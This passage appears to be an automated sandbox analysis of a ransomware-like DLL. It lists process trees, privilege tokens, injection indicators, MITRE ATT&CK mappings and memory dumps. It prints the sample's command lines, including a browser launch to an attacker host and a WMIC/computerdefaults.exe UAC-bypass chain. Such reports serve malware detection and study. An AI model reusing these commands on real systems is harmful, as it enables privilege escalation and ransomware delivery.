Token: SeProfSingleProcessPrivilege	2216	WMIC.exe
Token: SeIncBasePriorityPrivilege	2216	WMIC.exe
Token: SeCreatePagefilePrivilege	2216	WMIC.exe
Token: SeBackupPrivilege	2216	WMIC.exe
Token: SeRestorePrivilege	2216	WMIC.exe
Token: SeShutdownPrivilege	2216	WMIC.exe
Token: SeDebugPrivilege	2216	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2216	WMIC.exe
Token: SeRemoteShutdownPrivilege	2216	WMIC.exe
Token: SeUndockPrivilege	2216	WMIC.exe
Token: SeManageVolumePrivilege	2216	WMIC.exe
Token: 33	2216	WMIC.exe
Token: 34	2216	WMIC.exe
Token: 35	2216	WMIC.exe
Token: 36	2216	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2992	WMIC.exe
Token: SeSecurityPrivilege	2992	WMIC.exe
Token: SeTakeOwnershipPrivilege	2992	WMIC.exe
Token: SeLoadDriverPrivilege	2992	WMIC.exe
Token: SeSystemProfilePrivilege	2992	WMIC.exe
Token: SeSystemtimePrivilege	2992	WMIC.exe
Token: SeProfSingleProcessPrivilege	2992	WMIC.exe
Token: SeIncBasePriorityPrivilege	2992	WMIC.exe
Token: SeCreatePagefilePrivilege	2992	WMIC.exe
Token: SeBackupPrivilege	2992	WMIC.exe
Token: SeRestorePrivilege	2992	WMIC.exe
Token: SeShutdownPrivilege	2992	WMIC.exe
Token: SeDebugPrivilege	2992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2992	WMIC.exe
Token: SeRemoteShutdownPrivilege	2992	WMIC.exe
Token: SeUndockPrivilege	2992	WMIC.exe
Token: SeManageVolumePrivilege	2992	WMIC.exe
Token: 33	2992	WMIC.exe
Token: 34	2992	WMIC.exe
Token: 35	2992	WMIC.exe
Token: 36	2992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2216	WMIC.exe
Token: SeSecurityPrivilege	2216	WMIC.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3004	Process not Found
1700	MicrosoftEdge.exe
2136	MicrosoftEdgeCP.exe
2136	MicrosoftEdgeCP.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3472	Process not Found

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 1924	3028	rundll32.exe	68
PID 3028 wrote to memory of 1924	3028	rundll32.exe	68
PID 3028 wrote to memory of 1184	3028	rundll32.exe	69
PID 3028 wrote to memory of 1184	3028	rundll32.exe	69
PID 3028 wrote to memory of 368	3028	rundll32.exe	70
PID 3028 wrote to memory of 368	3028	rundll32.exe	70
PID 3028 wrote to memory of 1264	3028	rundll32.exe	72
PID 3028 wrote to memory of 1264	3028	rundll32.exe	72
PID 1264 wrote to memory of 2216	1264	cmd.exe	76
PID 1264 wrote to memory of 2216	1264	cmd.exe	76
PID 368 wrote to memory of 2992	368	cmd.exe	77
PID 368 wrote to memory of 2992	368	cmd.exe	77
PID 60 wrote to memory of 1328	60	cmd.exe	83
PID 60 wrote to memory of 1328	60	cmd.exe	83
PID 704 wrote to memory of 1868	704	cmd.exe	84
PID 704 wrote to memory of 1868	704	cmd.exe	84
PID 2136 wrote to memory of 4016	2136	MicrosoftEdgeCP.exe	92
PID 2136 wrote to memory of 4016	2136	MicrosoftEdgeCP.exe	92
PID 2136 wrote to memory of 4016	2136	MicrosoftEdgeCP.exe	92
PID 2136 wrote to memory of 4016	2136	MicrosoftEdgeCP.exe	92
PID 2136 wrote to memory of 4016	2136	MicrosoftEdgeCP.exe	92
PID 2136 wrote to memory of 4016	2136	MicrosoftEdgeCP.exe	92

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e.dll,#1
1⤵
- Modifies extensions of user files
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1924
- C:\Windows\system32\cmd.exe
  cmd /c "start http://16c42048e27ca270c0dihlxbl.uponmix.xyz/dihlxbl^&1^&47006090^&79^&291^&2215063"
  2⤵
  - Checks computer location settings
  PID:1184
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2216

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:60
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1328

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:704
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:1868

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1700

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:496

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2136

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
PID:3888

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1204

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:4016

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3028-125-0x00000251A7650000-0x00000251A7651000-memory.dmp

Filesize
4KB

Download
memory/3028-121-0x00000251A75F0000-0x00000251A75F1000-memory.dmp

Filesize
4KB

Download
memory/3028-127-0x00000251A7D40000-0x00000251A7D44000-memory.dmp

Filesize
16KB

Download
memory/3028-124-0x00000251A7640000-0x00000251A7641000-memory.dmp

Filesize
4KB

Download
memory/3028-116-0x00000251A70E0000-0x00000251A70E1000-memory.dmp

Filesize
4KB

Download
memory/3028-122-0x00000251A7620000-0x00000251A7621000-memory.dmp

Filesize
4KB

Download
memory/3028-123-0x00000251A7630000-0x00000251A7631000-memory.dmp

Filesize
4KB

Download
memory/3028-115-0x00000251A70D0000-0x00000251A70D1000-memory.dmp

Filesize
4KB

Download
memory/3028-119-0x00000251A75D0000-0x00000251A75D1000-memory.dmp

Filesize
4KB

Download
memory/3028-120-0x00000251A75E0000-0x00000251A75E1000-memory.dmp

Filesize
4KB

Download
memory/3028-135-0x00000251A9860000-0x00000251A9861000-memory.dmp

Filesize
4KB

Download
memory/3028-117-0x00000251A75B0000-0x00000251A75B1000-memory.dmp

Filesize
4KB

Download
memory/3028-118-0x00000251A75C0000-0x00000251A75C1000-memory.dmp

Filesize
4KB

Download
memory/3028-126-0x00000251A7D30000-0x00000251A7D31000-memory.dmp

Filesize
4KB

Download
memory/3700-138-0x0000021B24480000-0x0000021B24488000-memory.dmp

Filesize
32KB

Download
memory/3700-140-0x0000021B245C0000-0x0000021B245C1000-memory.dmp

Filesize
4KB

Download
memory/3700-139-0x0000021B245D0000-0x0000021B245D8000-memory.dmp

Filesize
32KB

Download
memory/3700-142-0x0000021B24410000-0x0000021B24418000-memory.dmp

Filesize
32KB

Download
memory/3700-143-0x0000021B24560000-0x0000021B24568000-memory.dmp

Filesize
32KB

Download
memory/3700-144-0x0000021B246D0000-0x0000021B246D8000-memory.dmp

Filesize
32KB

Download
memory/3700-145-0x0000021B245B0000-0x0000021B245B1000-memory.dmp

Filesize
4KB

Download
memory/3700-146-0x0000021B24420000-0x0000021B24428000-memory.dmp

Filesize
32KB

Download
memory/3700-147-0x0000021B247C0000-0x0000021B247C8000-memory.dmp

Filesize
32KB

Download
memory/3700-148-0x0000021B24800000-0x0000021B24808000-memory.dmp

Filesize
32KB

Download
memory/3700-149-0x0000021B24840000-0x0000021B24848000-memory.dmp

Filesize
32KB

Download
memory/3700-150-0x0000021B24AC0000-0x0000021B24AC8000-memory.dmp

Filesize
32KB

Download
memory/3700-151-0x0000021B249C0000-0x0000021B249C1000-memory.dmp

Filesize
4KB

Download